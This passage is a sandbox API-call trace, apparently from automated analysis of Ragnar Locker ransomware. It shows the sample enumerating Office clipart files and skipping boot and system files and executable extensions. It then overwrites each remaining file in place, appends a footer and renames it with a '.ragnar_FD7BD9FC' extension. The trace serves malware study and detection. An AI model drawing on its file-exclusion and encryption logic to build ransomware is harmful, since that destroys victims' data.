hTemplateFile=0x0) returned 0xf4 [0090.309] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=197640) returned 1 [0090.309] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x303ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.309] GetProcessHeap () returned 0x580000 [0090.309] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.309] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.310] VirtualAlloc (lpAddress=0x0, dwSize=0x30408, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.311] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.311] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.311] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x30408, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x30408, lpOverlapped=0x0) returned 1 [0090.315] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.316] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x30408, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.316] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x30408, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x30408, lpOverlapped=0x0) returned 1 [0090.316] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x30408, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.316] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.318] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x30408, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.318] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.318] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.318] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.318] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.318] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.318] GetProcessHeap () returned 0x580000 [0090.318] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.318] CloseHandle (hObject=0xf4) returned 1 [0090.318] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" [0090.318] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP.ragnar_FD7BD9FC" [0090.318] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.319] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe684b00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe684b00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x30408, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02757U.BMP", cAlternateFileName="")) returned 1 [0090.319] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.319] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02757U.BMP" | out: lpString1="PH02757U.BMP") returned="PH02757U.BMP" [0090.319] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP") returned=".BMP" [0090.319] lstrcmpiW (lpString1="PH02757U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.319] lstrcmpiW (lpString1="PH02757U.BMP", lpString2="autorun.inf") returned 1 [0090.319] lstrcmpiW (lpString1="PH02757U.BMP", lpString2="boot.ini") returned 1 [0090.319] lstrcmpiW (lpString1="PH02757U.BMP", lpString2="bootfont.bin") returned 1 [0090.319] lstrcmpiW (lpString1="PH02757U.BMP", lpString2="bootsect.bak") returned 1 [0090.319] lstrcmpiW (lpString1="PH02757U.BMP", lpString2="bootmgr") returned 1 [0090.319] lstrcmpiW (lpString1="PH02757U.BMP", lpString2="bootmgr.efi") returned 1 [0090.319] lstrcmpiW (lpString1="PH02757U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.319] lstrcmpiW (lpString1="PH02757U.BMP", lpString2="desktop.ini") returned 1 [0090.319] lstrcmpiW (lpString1="PH02757U.BMP", lpString2="iconcache.db") returned 1 [0090.319] lstrcmpiW (lpString1="PH02757U.BMP", lpString2="ntldr") returned 1 [0090.319] lstrcmpiW (lpString1="PH02757U.BMP", lpString2="ntuser.dat") returned 1 [0090.319] lstrcmpiW (lpString1="PH02757U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.319] lstrcmpiW (lpString1="PH02757U.BMP", lpString2="ntuser.ini") returned 1 [0090.319] lstrcmpiW (lpString1="PH02757U.BMP", lpString2="thumbs.db") returned -1 [0090.319] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.319] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.319] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.319] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.319] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.319] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.319] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp")) returned 0x20 [0090.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.320] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=197640) returned 1 [0090.320] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x303ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.320] GetProcessHeap () returned 0x580000 [0090.320] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.320] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.322] VirtualAlloc (lpAddress=0x0, dwSize=0x30408, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.322] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.322] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.322] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x30408, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x30408, lpOverlapped=0x0) returned 1 [0090.328] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.329] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x30408, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.329] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x30408, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x30408, lpOverlapped=0x0) returned 1 [0090.330] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x30408, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.330] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.331] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x30408, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.331] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.331] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.331] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.331] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.331] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.331] GetProcessHeap () returned 0x580000 [0090.331] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.331] CloseHandle (hObject=0xf4) returned 1 [0090.331] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" [0090.331] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP.ragnar_FD7BD9FC" [0090.331] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.332] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7c1f400, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7c1f400, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x307f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02758U.BMP", cAlternateFileName="")) returned 1 [0090.332] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.332] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02758U.BMP" | out: lpString1="PH02758U.BMP") returned="PH02758U.BMP" [0090.332] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP") returned=".BMP" [0090.332] lstrcmpiW (lpString1="PH02758U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.332] lstrcmpiW (lpString1="PH02758U.BMP", lpString2="autorun.inf") returned 1 [0090.332] lstrcmpiW (lpString1="PH02758U.BMP", lpString2="boot.ini") returned 1 [0090.332] lstrcmpiW (lpString1="PH02758U.BMP", lpString2="bootfont.bin") returned 1 [0090.332] lstrcmpiW (lpString1="PH02758U.BMP", lpString2="bootsect.bak") returned 1 [0090.332] lstrcmpiW (lpString1="PH02758U.BMP", lpString2="bootmgr") returned 1 [0090.332] lstrcmpiW (lpString1="PH02758U.BMP", lpString2="bootmgr.efi") returned 1 [0090.332] lstrcmpiW (lpString1="PH02758U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.332] lstrcmpiW (lpString1="PH02758U.BMP", lpString2="desktop.ini") returned 1 [0090.332] lstrcmpiW (lpString1="PH02758U.BMP", lpString2="iconcache.db") returned 1 [0090.332] lstrcmpiW (lpString1="PH02758U.BMP", lpString2="ntldr") returned 1 [0090.332] lstrcmpiW (lpString1="PH02758U.BMP", lpString2="ntuser.dat") returned 1 [0090.332] lstrcmpiW (lpString1="PH02758U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.332] lstrcmpiW (lpString1="PH02758U.BMP", lpString2="ntuser.ini") returned 1 [0090.332] lstrcmpiW (lpString1="PH02758U.BMP", lpString2="thumbs.db") returned -1 [0090.332] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.332] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.333] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.333] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.333] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.333] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.333] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp")) returned 0x20 [0090.333] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.333] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=198648) returned 1 [0090.333] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x307ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.333] GetProcessHeap () returned 0x580000 [0090.333] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.333] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.335] VirtualAlloc (lpAddress=0x0, dwSize=0x307f8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.335] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.335] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.335] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x307f8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x307f8, lpOverlapped=0x0) returned 1 [0090.339] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.340] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x307f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.340] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x307f8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x307f8, lpOverlapped=0x0) returned 1 [0090.340] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x307f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.340] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.341] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x307f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.341] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.342] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.342] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.342] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.342] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.342] GetProcessHeap () returned 0x580000 [0090.342] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.342] CloseHandle (hObject=0xf4) returned 1 [0090.342] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" [0090.342] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP.ragnar_FD7BD9FC" [0090.342] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.343] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2322a600, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2322a600, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xa0d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02759J.JPG", cAlternateFileName="")) returned 1 [0090.343] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.343] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02759J.JPG" | out: lpString1="PH02759J.JPG") returned="PH02759J.JPG" [0090.343] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG") returned=".JPG" [0090.343] lstrcmpiW (lpString1="PH02759J.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.343] lstrcmpiW (lpString1="PH02759J.JPG", lpString2="autorun.inf") returned 1 [0090.343] lstrcmpiW (lpString1="PH02759J.JPG", lpString2="boot.ini") returned 1 [0090.343] lstrcmpiW (lpString1="PH02759J.JPG", lpString2="bootfont.bin") returned 1 [0090.343] lstrcmpiW (lpString1="PH02759J.JPG", lpString2="bootsect.bak") returned 1 [0090.343] lstrcmpiW (lpString1="PH02759J.JPG", lpString2="bootmgr") returned 1 [0090.343] lstrcmpiW (lpString1="PH02759J.JPG", lpString2="bootmgr.efi") returned 1 [0090.343] lstrcmpiW (lpString1="PH02759J.JPG", lpString2="bootmgfw.efi") returned 1 [0090.343] lstrcmpiW (lpString1="PH02759J.JPG", lpString2="desktop.ini") returned 1 [0090.343] lstrcmpiW (lpString1="PH02759J.JPG", lpString2="iconcache.db") returned 1 [0090.343] lstrcmpiW (lpString1="PH02759J.JPG", lpString2="ntldr") returned 1 [0090.343] lstrcmpiW (lpString1="PH02759J.JPG", lpString2="ntuser.dat") returned 1 [0090.343] lstrcmpiW (lpString1="PH02759J.JPG", lpString2="ntuser.dat.log") returned 1 [0090.343] lstrcmpiW (lpString1="PH02759J.JPG", lpString2="ntuser.ini") returned 1 [0090.343] lstrcmpiW (lpString1="PH02759J.JPG", lpString2="thumbs.db") returned -1 [0090.343] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0090.343] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0090.343] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0090.343] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0090.343] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0090.343] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0090.343] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0090.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg")) returned 0x20 [0090.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.344] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=41170) returned 1 [0090.344] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa0c9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.344] GetProcessHeap () returned 0x580000 [0090.344] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.344] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.345] VirtualAlloc (lpAddress=0x0, dwSize=0xa0d2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 